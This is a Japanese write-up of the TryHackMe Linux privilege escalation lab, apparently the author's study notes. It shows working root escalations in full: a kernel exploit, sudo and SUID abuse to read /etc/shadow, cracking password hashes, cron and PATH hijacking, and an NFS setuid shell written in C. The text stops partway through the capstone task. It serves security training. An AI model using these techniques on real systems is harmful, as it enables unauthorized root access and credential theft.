TryHackMeのLinux Privilege Escalationのwriteup。
個人的にメモっといた方が良いなと感じたポイントだけ、まとめておく。
- Task 3: Enumeration
- Task 5: Privilege Escalation: Kernel Exploits
- Task 6: Privilege Escalation: Sudo
- Task 7: Privilege Escalation: SUID
- Task 8: Privilege Escalation: Capabilities
- Task 9: Privilege Escalation: Cron Jobs
- Task 10: Privilege Escalation: PATH
- Task 11: Privilege Escalation: NFS
- mountコマンドでネットワーク共有フォルダをマウントする際の注意点
- Task 12: Capstone Challenge
Task 3: Enumeration
What is the hostname of the target system?
hostname
wade7363
What is the Linux kernel version of the target system?
uname -a
Linux wade7363 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64
x86_64 x86_64 GNU/Linux
What Linux is this?
cat /etc/os-release
NAME="Ubuntu"
VERSION="14.04, Trusty Tahr"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 14.04 LTS"
VERSION_ID="14.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
What version of the Python language is installed on the system?
python -V
2.7.6
What vulnerability seem to affect the kernel of the target system? (Enter a CVE number)
カーネルバージョンの3.13.0-24-generic
でググってみたところ、CVE-2015-1328を見つけた。
Task 5: Privilege Escalation: Kernel Exploits
What is the content of the flag1.txt file?
まず、以下のfind
コマンドでflag1.txt
の所在を確認した。
find / -name flag1.txt 2>/dev/null
結果、/home/matt/flag1.txt
を見つけた。
/home/matt/flag1.txt
を開こうとしたが、権限が無くて開けなかった。
$ cat /home/matt/flag1.txt
cat: /home/matt/flag1.txt: Permission denied
ファイルはroot
権限が無いと読めないが、現在のユーザーはkaren
である。
$ ls -lh /home/matt/flag1.txt
-rwx------ 1 root root 19 Jun 18 2021 /home/matt/flag1.txt
$ whoami
karen
sudo
でファイルを読めるか試してみたが、karen
はsudo
を使えなかった。
$ sudo cat /home/matt/flag1.txt
[sudo] password for karen:
karen is not in the sudoers file. This incident will be reported.
Task 3で判明したCVE-2015-1328のPOCを使って、権限昇格すればファイルを読めるのでは?と思い、以下のwget
コマンドでPOCを標的マシンにダウンロードしようとしたが、標的マシンはインターネットへの接続が出来ないようで、ダウンロードできなかった。
wget https://github.com/SecWiki/linux-kernel-exploits/blob/master/2015/CVE-2015-1328/ofs_64
仕方がないので、ソースコードをホスト・マシンから標的マシンへコピペしてコンパイルすることにした。
まずは、karen
が書き込み可能なディレクトリへと移動。
cd /tmp
vi
を起動して、ソースコードをコピペ。
vi ofs.c
ソースコードをコンパイル。
gcc ofs.c -o ofs
$ ls -lh
total 24K
-rwxrwxr-x 1 karen karen 14K Feb 27 08:38 ofs
-rw-rw-r-- 1 karen karen 5.1K Feb 27 08:37 ofs.c
コンパイルしたプログラムを実行したところ、エクスプロイトが実行され、root
に昇格した。
$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# whoami
root
あとはcat /home/matt/flag1.txt
でファイルの中身を読むだけ。
Task 6: Privilege Escalation: Sudo
How many programs can the user "karen" run on the target system with sudo rights?
sudo -l
$ sudo -l
Matching Defaults entries for karen on ip-10-10-201-252:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/
snap/bin
User karen may run the following commands on ip-10-10-201-252:
(ALL) NOPASSWD: /usr/bin/find
(ALL) NOPASSWD: /usr/bin/less
(ALL) NOPASSWD: /usr/bin/nano
答えは3。
What is the content of the flag2.txt file?
$ ls /home
ubuntu
$ ls /home/ubuntu
flag2.txt
flag2.txt
を/home/ubuntu
以下に発見。
ユーザーkaren
はless
コマンドをsudo
で実行できる。sudo less /home/ubuntu/flag2.txtで
ファイルの中身を読めた。
How would you use Nmap to spawn a root shell if your user had sudo rights on nmap?
"nmap sudo root shell"でググってみたところ、以下のコマンドに行き着いた。
sudo nmap --interactive
What is the hash of frank's password?
sudo less /etc/shadow | grep -i frank
$ sudo less /etc/shadow | grep -i frank
frank:$6$2.sUUDsOLIpXKxcr$eImtgFExyr2ls4jsghdD3DHLHHP9X50Iv.jNmwo/BJpphrPRJWjelWEz2HH.joV14aDEwW1c3CahzB1uaqeLR1:18796:0:99999:7:::
Task 7: Privilege Escalation: SUID
Which user shares the name of a great comic book writer?
cat /etc/passwd
gerryconway
What is the password of user2?
user2
のパスワードを特定するには/etc/passwd
と/etc/shadow
を取得してunshadow
したのち、John The Ripperなどのツールでパスワードをクラックする必要がある。
通常、/etc/passwd
はどのユーザーでも読み取り可能だが、/etc/shadow
はroot
のみが読み出せる。
$ ls -lh /etc/shadow
-rw-r----- 1 root shadow 1.4K Feb 28 14:12 /etc/shadow
ユーザーkaren
はsudo
を実行できない。
$ sudo -l
[sudo] password for karen:
Sorry, user karen may not run sudo on ip-10-10-150-180.
以下のfind
コマンドで、/etc/shadow
の読み出しに使えそうな、root
ユーザー所有のSUIDのセットされたバイナリを列挙してみた。
find / -type f -perm -04000 -ls 2>/dev/null
$ find / -type f -perm -04000 -ls 2>/dev/null
66 40 -rwsr-xr-x 1 root root 40152 Jan 27 2020 /snap/core/1
0185/bin/mount
80 44 -rwsr-xr-x 1 root root 44168 May 7 2014 /snap/core/1
0185/bin/ping
81 44 -rwsr-xr-x 1 root root 44680 May 7 2014 /snap/core/1
0185/bin/ping6
98 40 -rwsr-xr-x 1 root root 40128 Mar 25 2019 /snap/core/1
0185/bin/su
116 27 -rwsr-xr-x 1 root root 27608 Jan 27 2020 /snap/core/1
0185/bin/umount
2610 71 -rwsr-xr-x 1 root root 71824 Mar 25 2019 /snap/core/1
0185/usr/bin/chfn
2612 40 -rwsr-xr-x 1 root root 40432 Mar 25 2019 /snap/core/1
0185/usr/bin/chsh
2689 74 -rwsr-xr-x 1 root root 75304 Mar 25 2019 /snap/core/1
0185/usr/bin/gpasswd
2781 39 -rwsr-xr-x 1 root root 39904 Mar 25 2019 /snap/core/1
0185/usr/bin/newgrp
2794 53 -rwsr-xr-x 1 root root 54256 Mar 25 2019 /snap/core/1
0185/usr/bin/passwd
2904 134 -rwsr-xr-x 1 root root 136808 Jan 31 2020 /snap/core/1
0185/usr/bin/sudo
3003 42 -rwsr-xr-- 1 root systemd-resolve 42992 Jun 11 2020 /snap
/core/10185/usr/lib/dbus-1.0/dbus-daemon-launch-helper
3375 419 -rwsr-xr-x 1 root root 428240 May 26 2020 /snap
/core/10185/usr/lib/openssh/ssh-keysign
6437 109 -rwsr-xr-x 1 root root 110792 Oct 8 2020 /snap
/core/10185/usr/lib/snapd/snap-confine
7615 386 -rwsr-xr-- 1 root dip 394984 Jul 23 2020 /snap
/core/10185/usr/sbin/pppd
56 43 -rwsr-xr-x 1 root root 43088 Mar 5 2020 /snap
/core18/1885/bin/mount
65 63 -rwsr-xr-x 1 root root 64424 Jun 28 2019 /snap
/core18/1885/bin/ping
81 44 -rwsr-xr-x 1 root root 44664 Mar 22 2019 /snap
/core18/1885/bin/su
99 27 -rwsr-xr-x 1 root root 26696 Mar 5 2020 /snap
/core18/1885/bin/umount
1698 75 -rwsr-xr-x 1 root root 76496 Mar 22 2019 /snap
/core18/1885/usr/bin/chfn
1700 44 -rwsr-xr-x 1 root root 44528 Mar 22 2019 /snap
/core18/1885/usr/bin/chsh
1752 75 -rwsr-xr-x 1 root root 75824 Mar 22 2019 /snap
/core18/1885/usr/bin/gpasswd
1816 40 -rwsr-xr-x 1 root root 40344 Mar 22 2019 /snap
/core18/1885/usr/bin/newgrp
1828 59 -rwsr-xr-x 1 root root 59640 Mar 22 2019 /snap
/core18/1885/usr/bin/passwd
1919 146 -rwsr-xr-x 1 root root 149080 Jan 31 2020 /snap
/core18/1885/usr/bin/sudo
2006 42 -rwsr-xr-- 1 root systemd-resolve 42992 Jun 11 2020 /snap
/core18/1885/usr/lib/dbus-1.0/dbus-daemon-launch-helper
2314 427 -rwsr-xr-x 1 root root 436552 Mar 4 2019 /snap
/core18/1885/usr/lib/openssh/ssh-keysign
7477 52 -rwsr-xr-- 1 root messagebus 51344 Jun 11 2020 /usr/
lib/dbus-1.0/dbus-daemon-launch-helper
13816 464 -rwsr-xr-x 1 root root 473576 May 29 2020 /usr/
lib/openssh/ssh-keysign
13661 24 -rwsr-xr-x 1 root root 22840 Aug 16 2019 /usr/
lib/policykit-1/polkit-agent-helper-1
7479 16 -rwsr-xr-x 1 root root 14488 Jul 8 2019 /usr/
lib/eject/dmcrypt-get-device
13676 128 -rwsr-xr-x 1 root root 130152 Oct 8 2020 /usr/
lib/snapd/snap-confine
1856 84 -rwsr-xr-x 1 root root 85064 May 28 2020 /usr/
bin/chfn
2300 32 -rwsr-xr-x 1 root root 31032 Aug 16 2019 /usr/
bin/pkexec
1816 164 -rwsr-xr-x 1 root root 166056 Jul 15 2020 /usr/
bin/sudo
1634 40 -rwsr-xr-x 1 root root 39144 Jul 21 2020 /usr/
bin/umount
1860 68 -rwsr-xr-x 1 root root 68208 May 28 2020 /usr/
bin/passwd
1859 88 -rwsr-xr-x 1 root root 88464 May 28 2020 /usr/
bin/gpasswd
1507 44 -rwsr-xr-x 1 root root 44784 May 28 2020 /usr/
bin/newgrp
1857 52 -rwsr-xr-x 1 root root 53040 May 28 2020 /usr/
bin/chsh
1722 44 -rwsr-xr-x 1 root root 43352 Sep 5 2019 /usr/
bin/base64
1674 68 -rwsr-xr-x 1 root root 67816 Jul 21 2020 /usr/
bin/su
2028 40 -rwsr-xr-x 1 root root 39144 Mar 7 2020 /usr/
bin/fusermount
2166 56 -rwsr-sr-x 1 daemon daemon 55560 Nov 12 2018 /usr/
bin/at
1633 56 -rwsr-xr-x 1 root root 55528 Jul 21 2020 /usr/
bin/mount
上記より、base64
コマンドが目に留まった。GTFOBinsによるとbase64コマンドはファイルの読み出しに使えそうである。
以下のコマンドでroot
のみが読み取り可能な/etc/shadow
の中身を読み出すことが出来た。
base64 /etc/shadow | base64 -d
$ base64 /etc/shadow | base64 -d
root:*:18561:0:99999:7:::
daemon:*:18561:0:99999:7:::
bin:*:18561:0:99999:7:::
sys:*:18561:0:99999:7:::
sync:*:18561:0:99999:7:::
games:*:18561:0:99999:7:::
man:*:18561:0:99999:7:::
lp:*:18561:0:99999:7:::
mail:*:18561:0:99999:7:::
news:*:18561:0:99999:7:::
uucp:*:18561:0:99999:7:::
proxy:*:18561:0:99999:7:::
www-data:*:18561:0:99999:7:::
backup:*:18561:0:99999:7:::
list:*:18561:0:99999:7:::
irc:*:18561:0:99999:7:::
gnats:*:18561:0:99999:7:::
nobody:*:18561:0:99999:7:::
systemd-network:*:18561:0:99999:7:::
systemd-resolve:*:18561:0:99999:7:::
systemd-timesync:*:18561:0:99999:7:::
messagebus:*:18561:0:99999:7:::
syslog:*:18561:0:99999:7:::
_apt:*:18561:0:99999:7:::
tss:*:18561:0:99999:7:::
uuidd:*:18561:0:99999:7:::
tcpdump:*:18561:0:99999:7:::
sshd:*:18561:0:99999:7:::
landscape:*:18561:0:99999:7:::
pollinate:*:18561:0:99999:7:::
ec2-instance-connect:!:18561:0:99999:7:::
systemd-coredump:!!:18796::::::
ubuntu:!:18796:0:99999:7:::
gerryconway:$6$vgzgxM3ybTlB.wkV$48YDY7qQnp4purOJ19mxfMOwKt.H2LaWKPu0zKlWKaUMG1N7weVzqobp65RxlMIZ/NirxeZdOJMEOp3ofE.RT/:18796:0:99999:7:::
user2:$6$m6VmzKTbzCD/.I10$cKOvZZ8/rsYwHd.pE099ZRwM686p/Ep13h7pFMBCG4t7IukRqc/fXlA1gHXh9F2CbwmD4Epi1Wgh.Cl.VV1mb/:18796:0:99999:7:::
lxd:!:18796::::::
karen:$6$VjcrKz/6S8rhV4I7$yboTb0MExqpMXW0hjEJgqLWs/jGPJA7N/fEoPMuYLY1w16FwL7ECCbQWJqYLGpy.Zscna9GILCSaNLJdBP1p8/:18796:0:99999:7:::
/etc/passwd
と/etc/shadow
の中身をローカルマシンにコピーし、unshadow
してみることにした。
まずは以下のコマンドでローカルマシンにJohn The Ripperをインストールした。このコマンドはunshadow
コマンドも同時にインストールする。
sudo apt-get install john
ついでに辞書攻撃に使うrockyou.txt
もダウンロードした。
wget https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
/etc/passwd
と/etc/shadow
をそれぞれpasswd.txt
、shadow.txt
として保存し、unshadow
してpasswords.txt
として保存。
unshadow passwd.txt shadow.txt > passwords.txt
rockyou.txt
を用いてJohn The Ripperでpasswords.txt
からパスワードをクラッキングした。
john passwords.txt --wordlist=rockyou.txt
$ john passwords.txt --wordlist=rockyou.txt
Loaded 3 password hashes with 3 different salts (crypt, generic crypt(3) [?/64])
Will run 32 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Password1 (user2)
Password1 (karen)
test123 (gerryconway)
3g 0:00:00:01 100% 1.578g/s 9246p/s 12985c/s 12985C/s dogs123..supercute
Use the "--show" option to display all of the cracked passwords reliably
Session completed
user2
のパスワードはPassword1
と判明した。
What is the content of the flag3.txt file?
flag3.txt
を/home/ubuntu
以下に発見。
$ find / -name flag3.txt 2>/dev/null
/home/ubuntu/flag3.txt
先ほどと同様に、root
所有のSUIDがセットされたbase64
コマンドを利用して/home/ubuntu/flag3.txt
の中身を読み出した。
base64 /home/ubuntu/flag3.txt | base64 -d
Task 8: Privilege Escalation: Capabilities
How many binaries have set capabilities?
$ getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/home/karen/vim = cap_setuid+ep
/home/ubuntu/view = cap_setuid+ep
答えは6。
What other binary can be used through its capabilities?
/home/ubuntu/view
What is the content of the flag4.txt file?
flag4.txt
を/home/ubuntu
以下に発見。
$ ls /home/ubuntu
flag4.txt view
view
コマンドを利用してPythonからシェルをroot
権限で起動することが出来た。
./view -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
# id
uid=0(root) gid=1001(karen) groups=1001(karen)
# whoami
root
あとは起動したシェルからflag4.txt
を読むだけ。
cat flag4.txt
Task 9: Privilege Escalation: Cron Jobs
How many user-defined cron jobs can you see on the target system?
cat /etc/crontab
$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 ** * *root cd / && run-parts --report /etc/cron.hourly
25 6* * *roottest -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6* * 7roottest -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 61 * *roottest -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root /antivirus.sh
* * * * * root antivirus.sh
* * * * * root /home/karen/backup.sh
* * * * * root /tmp/test.py
/antivirus.sh
、antivirus.sh
、/home/karen/backup.sh
、/tmp/test.py
の4つ。
What is the content of the flag5.txt file?
/home/ubuntu
以下にflag5.txt
を発見。ファイルはroot
のみが閲覧できる。
$ ls -la /home/ubuntu
total 32
drwxr-xr-x 4 ubuntu ubuntu 4096 Jun 20 2021 .
drwxr-xr-x 4 root root 4096 Jun 20 2021 ..
-rw-r--r-- 1 ubuntu ubuntu 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 ubuntu ubuntu 3771 Feb 25 2020 .bashrc
drwx------ 2 ubuntu ubuntu 4096 Jun 20 2021 .cache
-rw-r--r-- 1 ubuntu ubuntu 807 Feb 25 2020 .profile
drwx------ 2 ubuntu ubuntu 4096 Jun 20 2021 .ssh
-rw-r--r-- 1 ubuntu ubuntu 0 Jun 20 2021 .sudo_as_admin_successful
-rwx------ 1 root root 14 Jun 20 2021 flag5.txt
なので、root
権限で実行されるcronを乗っ取ってflag5.txt
を閲覧してみる。
先ほどの設問より、/home/karen/backup.sh
というスクリプトが/etc/crontab
に登録されており、1分ごとにroot
権限で実行される。今回はこのスクリプトを乗っ取ることにした。
* * * * * root /home/karen/backup.sh
ファイルbackup.sh
の所有者は現ユーザーと同じkaren
。
$ ls -lh /home/karen
total 4.0K
-rw-r--r-- 1 karen karen 171 Mar 1 13:49 backup.sh
/home/karen/backup.sh
の中身は以下の通り。
$ cat backup.sh
#!/bin/bash
cd /home/admin/1/2/3/Results
zip -r /home/admin/download.zip ./*
/home/karen/backup.sh
の中身をvi
で編集して、以下のように書き換えた。
$ cat backup.sh
#!/bin/bash
cp /home/ubuntu/flag5.txt /home/karen/myflag.txt
chown karen:karen /home/karen/myflag.txt
書き換え後の/home/karen/backup.sh
は、/home/ubuntu/flag5.txt
をmyflag.txt
としてkaren
のホームディレクトリ/home/karen
にコピーし、ファイルの所有ユーザーとグループをkaren
に変更する。
編集後は必ず/home/karen/backup.sh
に実行権限を付与する。これをしないとcronが起動してもスクリプトが実行されない。
chmod 755 backup.sh
頃合いを見計らって/home/karen
を確認してみた。
$ ls -l
total 8
-rwxr-xr-x 1 karen karen 103 Mar 1 14:20 backup.sh
-rwx------ 1 karen karen 14 Mar 1 14:22 myflag.txt
cronによって/home/karen/backup.sh
がroot
権限で実行されて、/home/ubuntu/flag5.txt
が/home/karen/myflag.txt
にコピーされた。
あとは/home/karen/myflag.txt
を開くだけ。
cat myflag.txt
What is Matt's password?
Matt
のパスワードを特定するには/etc/passwd
と/etc/shadow
を取得してunshadow
したのち、John The Ripperなどのツールでパスワードをクラックする必要がある。
通常、/etc/passwd
はどのユーザーでも読み取り可能だが、/etc/shadow
はroot
のみが読み出せる。
先ほどの設問と同様に、まずはroot
権限で実行されるcronを乗っ取って/etc/shadow
の中身を取得する。
今回も/home/karen/backup.sh
を利用した。以下は書き換え後のbackup.sh
の中身。
#/bin/bash
cp /etc/passwd /home/karen/passwd.txt
cp /etc/shadow /home/karen/shadow.txt
chown karen:karen /home/karen/passwd.txt
chown karen:karen /home/karen/shadow.txt
/etc/passwd
と/etc/shadow
をkaren
のホームディレクトリにコピーして、ファイルの所有ユーザーとグループをkaren
に変更する。
1分後にはcronによって上記のスクリプトがroot
権限で実行されて、/etc/passwd
と/etc/shadow
のコピーが/home/karen
に作成される。
作成された/home/karen/passwd.txt
と/home/karen/shadow.txt
をローカルマシンにコピーし、unshadow
を実行。
unshadow passwd.txt shadow.txt > passwords.txt
rockyou.txt
を用いてJohn The Ripperでpasswords.txt
からパスワードをクラッキングした。
john passwords.txt --wordlist=rockyou.txt
$ john passwords.txt --wordlist=rockyou.txt
Loaded 2 password hashes with 2 different salts (crypt, generic crypt(3) [?/64])
Will run 32 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
123456 (matt)
Password1 (karen)
2g 0:00:00:00 100% 6.896g/s 12248p/s 12579c/s 12579C/s girls..01234
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Matt
のパスワードは123456
と判明した。
Task 10: Privilege Escalation: PATH
まずは標的マシンにSSH接続する。
ssh karen@10.10.7.202
What is the odd folder you have write access for?
ヒントによると/home
ディレクトリに注目せよとのこと。
以下のコマンドで/home
ディレクトリ配下の書き込み可能なディレクトリを確認した。
find /home -writable 2>/dev/null | grep -v proc | cut -d "/" -f 1,2,3 | sort -u
$ find /home -writable 2>/dev/null | grep -v proc | cut -d "/" -f 1,2,3 | sort -u
/home/murdoch
答えは/home/murdoch
。
このディレクトリはroot
の所有となっているが、root
以外のユーザーでも読み込みや書き込みが可能となっており、これが次の設問の伏線になっている。
$ ls -ld /home/murdoch
drwxrwxrwx 2 root root 4096 Oct 22 2021 /home/murdoch
What is the content of the flag6.txt file?
/home/matt/
以下にflag6.txt
を発見。
$ find / -name flag6.txt 2>/dev/null
/home/matt/flag6.txt
/home/matt/flag6.txt
はユーザーubuntu
(とroot
) のみ閲覧できる。
$ ls -l /home/matt/flag6.txt
-rwx------ 1 ubuntu ubuntu 14 Jun 20 2021 /home/matt/flag6.txt
/home/matt/flag6.txt
の読み出しに使えそうなファイルがないか探してみる。
とりあえず、/home/murdoch
を確認してみた。
$cd /home/murdoch
$ ls -la
total 32
drwxrwxrwx 2 root root 4096 Oct 22 2021 .
drwxr-xr-x 5 root root 4096 Jun 20 2021 ..
-rwsr-xr-x 1 root root 16712 Jun 20 2021 test
-rw-rw-r-- 1 root root 86 Jun 20 2021 thm.py
test
とthm.py
という2つのファイルが確認できた。どちらのファイルも所有者はroot
で、test
の方はSUIDがセットされていた。つまり、test
を実行した場合はroot
権限で実行されることになる。
test
は64ビットのELFファイルで、thm.py
はPythonスクリプトだった。
$ file test
test: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1724ca90b94176ea2eb867165e837125e8e5ca52, for GNU/Linux 3.2.0, not stripped
$ file thm.py
thm.py: Python script, ASCII text executable
試しにtest
を実行してみた。
$ ./test
sh: 1: thm: not found
どうやらthm
というファイルを参照するらしい。(もう少し情報を得ようとファイルをstrings
にかけようとしたが、標的マシンにはstrings
コマンドがインストールされていなかった。)
続いてthm.py
の中身を確認してみた。
$ cat thm.py
/usr/bin/python3
import os
import sys
try:
os.system("thm")
except:
sys.exit()
こちらもthm
というファイルを実行するらしい。
確認したところ、標的マシンにはthm
というファイルは存在していなかった。
$ find / -name thm 2>/dev/null
$
以上を踏まえて、以下の手順で/home/matt/flag6.txt
を読み出せると思われる。
/home/murdoch
にthm
という自前のスクリプトを作成する。thm
はシェルを起動する簡単なスクリプト。/home/murdoch
をPATH
変数に追加する。/home/murdoch/test
を実行する。(先述したように、このファイルはSUIDがセットされており、所有者はroot
である。)- すると
test
がroot
権限で実行され、test
が参照しているthm
もroot
権限で実行される。 thm
により、シェルがroot
権限で実行される。- 起動されたシェルから
/home/matt/flag6.txt
を開く。
/home/murdoch
に移動して、thm
を作成する。thm
はシェルを起動する簡単なスクリプトである。
echo "/bin/bash" > thm
実行権限も忘れずに付与する。
chmod 755 thm
次にPATH
変数を確認する。
$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
/home/murdoch
はパスが通っていないので、PATH
変数に追加する。
export PATH=/home/murdoch:$PATH
/home/murdoch
が追加されたことを確認。
$ echo $PATH
/home/murdoch:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
test
を実行する。
$ ./test
root@ip-10-10-7-202:/home/murdoch# whoami
root
シェルがroot
権限で起動した。
あとは/home/matt/flag6.txt
を開くだけ。
cat /home/matt/flag6.txt
Task 11: Privilege Escalation: NFS
How many mountable shares can you identify on the target system?
cat /etc/exports
$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
#to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/home/backup *(rw,sync,insecure,no_root_squash,no_subtree_check)
/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)
/home/ubuntu/sharedfolder *(rw,sync,insecure,no_root_squash,no_subtree_check)
答えは/home/backup
、/tmp
、/home/ubuntu/sharedfolder
の3つ。
How many shares have the "no_root_squash" option enabled?
答えは/home/backup
、/tmp
、/home/ubuntu/sharedfolder
の3つ。
What is the content of the flag7.txt file?
標的マシン (10.10.232.10
) の/home/matt
以下にflag7.txt
を発見。ファイルはroot
ユーザーのみが読み書きできる。
$ ls -la /home/matt
total 12
drwxr-xr-x 2 root root 4096 Jun 20 2021 .
drwxr-xr-x 5 root root 4096 Jun 20 2021 ..
-rw------- 1 root root 13 Jun 20 2021 flag7.txt
先の設問で、標的マシンには/home/backup
、/tmp
、/home/ubuntu/sharedfolder
の3つのネットワーク共有フォルダがあり、全てのフォルダにno_root_squash
オプションがセットされているのが判明している。
各フォルダのパーミッションを確認してみた。
$ ls -ld /home/ubuntu/sharedfolder
drwxr-xr-x 2 root root 4096 Jun 20 2021 /home/ubuntu/sharedfolder
$ ls -ld /tmp
drwxrwxrwt 11 root root 4096 Mar 6 12:42 /tmp
$ ls -ld /home/backup
drw-r--r-- 2 root root 4096 Jun 20 2021 /home/backup
3つのフォルダのうち、root
ユーザー以外でも読み書きや実行が可能なフォルダは/tmp
だけである。
以上を踏まえて、以下の手順で/home/matt/flag7.txt
を読み出せると思われる。
- 標的マシンのネットワーク共有フォルダ
/tmp
を攻撃用マシンにマウントする。 - 攻撃用マシン上でシェルを起動するためのプログラムを作成する (実行権とSUIDも忘れずに付与する)。
- すると、作成したファイルが標的マシンのネットワーク共有フォルダ
/tmp
に共有される。 - 標的マシン上でプログラムを実行すると、シェルが
root
権限で起動する。 - 起動したシェルで
/home/matt/flag7.txt
を読む。
まずは攻撃用マシンで、以下のコマンドを実行して、標的マシンのネットワーク共有フォルダ /tmp
を攻撃用マシンのフォルダ/tmp/attack
にマウントする。
mkdir /tmp/attack
mount -o rw 10.10.232.10:/tmp /tmp/attack
cd /tmp/attack
で/tmp/attack
フォルダに移動し、以下のCプログラムをexploit.c
として作成する。
int main()
{
setgid(0);
setuid(0);
system("/bin/bash");
return 0;
}
上記のプログラムはbashシェルをroot
権限で起動する。
ソースコードをコンパイル。
gcc exploit.c -o exploit
実行権とSUIDも忘れずに付与する。
chmod 755 exploit
chmod +s exploit
これで攻撃の準備が完了した。
続いて標的マシンにSSH接続する。
ssh karen@10.10.232.10
現在のユーザーはkaren
である。
$ whoami
karen
$ id
uid=1001(karen) gid=1001(karen) groups=1001(karen)
ネットワーク共有フォルダ /tmp
を確認。
$ ls -l /tmp
total 32
-rwsr-sr-x 1 root root 8392 Mar 8 12:02 exploit
-rw-r--r-- 1 root root 78 Mar 8 12:00 exploit.c
drwx------ 3 root root 4096 Mar 8 11:47 snap.lxd
drwx------ 3 root root 4096 Mar 8 11:47 systemd-private-85218539be26483d802a182f2298cd79-systemd-logind.service-EfCVvj
drwx------ 3 root root 4096 Mar 8 11:46 systemd-private-85218539be26483d802a182f2298cd79-systemd-resolved.service-4HEJ4e
drwx------ 3 root root 4096 Mar 8 11:46 systemd-private-85218539be26483d802a182f2298cd79-systemd-timesyncd.service-rhxaki
攻撃用マシンで作成したexploit.c
とexploit
の存在が確認できた。
exploit
を実行。
$ ./exploit
root@ip-10-10-232-10:/tmp# whoami
root
root@ip-10-10-232-10:/tmp# id
uid=0(root) gid=0(root) groups=0(root),1001(karen)
シェルがroot
権限で起動した。
あとは/home/matt/flag7.txt
を開くだけ。
cat /home/matt/flag7.txt
mountコマンドでネットワーク共有フォルダをマウントする際の注意点
先の設問で、ネットワーク共有フォルダをマウントする際に以下の順番でコマンドを実行した。
mkdir /tmp/attack
mount -o rw 10.10.232.10:/tmp /tmp/attack
cd /tmp/attack
もし、mount
コマンドを実行する前にcd /tmp/attack
コマンドを実行した場合、ネットワーク共有フォルダの中身を見られない。
mkdir /tmp/attack
cd /tmp/attack
mount -o rw 10.10.232.10:/tmp /tmp/attack
以下はcd
コマンドを実行してからmount
コマンドを実行した際の様子である。
root@ip-10-10-159-61:/# cd /tmp/attack
root@ip-10-10-159-61:/tmp/attack# mount -o rw 10.10.232.10:/tmp /tmp/attack
root@ip-10-10-159-61:/tmp/attack# ls -l
total 0
共有フォルダ10.10.232.10:/tmp
にあるはずのファイルが確認できない
以下はmount
コマンドを実行してからcd
コマンドを実行した際の様子である。
root@ip-10-10-159-61:/# mount -o rw 10.10.232.10:/tmp /tmp/attack
root@ip-10-10-159-61:/# cd /tmp/attack
root@ip-10-10-159-61:/tmp/attack# ls -l
total 16
drwx------ 3 root root 4096 Mar 8 11:47 snap.lxd
drwx------ 3 root root 4096 Mar 8 11:47 systemd-private-85218539be26483d802a182f2298cd79-systemd-logind.service-EfCVvj
drwx------ 3 root root 4096 Mar 8 11:46 systemd-private-85218539be26483d802a182f2298cd79-systemd-resolved.service-4HEJ4e
drwx------ 3 root root 4096 Mar 8 11:46 systemd-private-85218539be26483d802a182f2298cd79-systemd-timesyncd.service-rhxaki
共有フォルダ10.10.232.10:/tmp
の中に4つのファイルがあることが確認できる。
この挙動がラボ環境固有のものなのかは不明。(ラボ環境ではクライアントがUbuntu 18.04.6 LTS
、サーバーがUbuntu 20.04.1 LTS
だった)
機会があれば、mount
コマンドの挙動を検証してみたいと思う。
Task 12: Capstone Challenge
What is the content of the flag1.txt file?
まずは標的マシンにSSH接続する。
ssh leonard@10.10.59.229
現在のユーザー情報を確認。
[leonard@ip-10-10-59-229 ~]$ whoami
leonard
[leonard@ip-10-10-59-229 ~]$ id
uid=1000(leonard) gid=1000(leonard) groups=1000(leonard) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[leonard@ip-10-10-59-229 ~]$ pwd
/home/leonard
[leonard@ip-10-10-59-22
標的マシンのシステム情報を確認。
[leonard@ip-10-10-59-229 home]$ uname -a
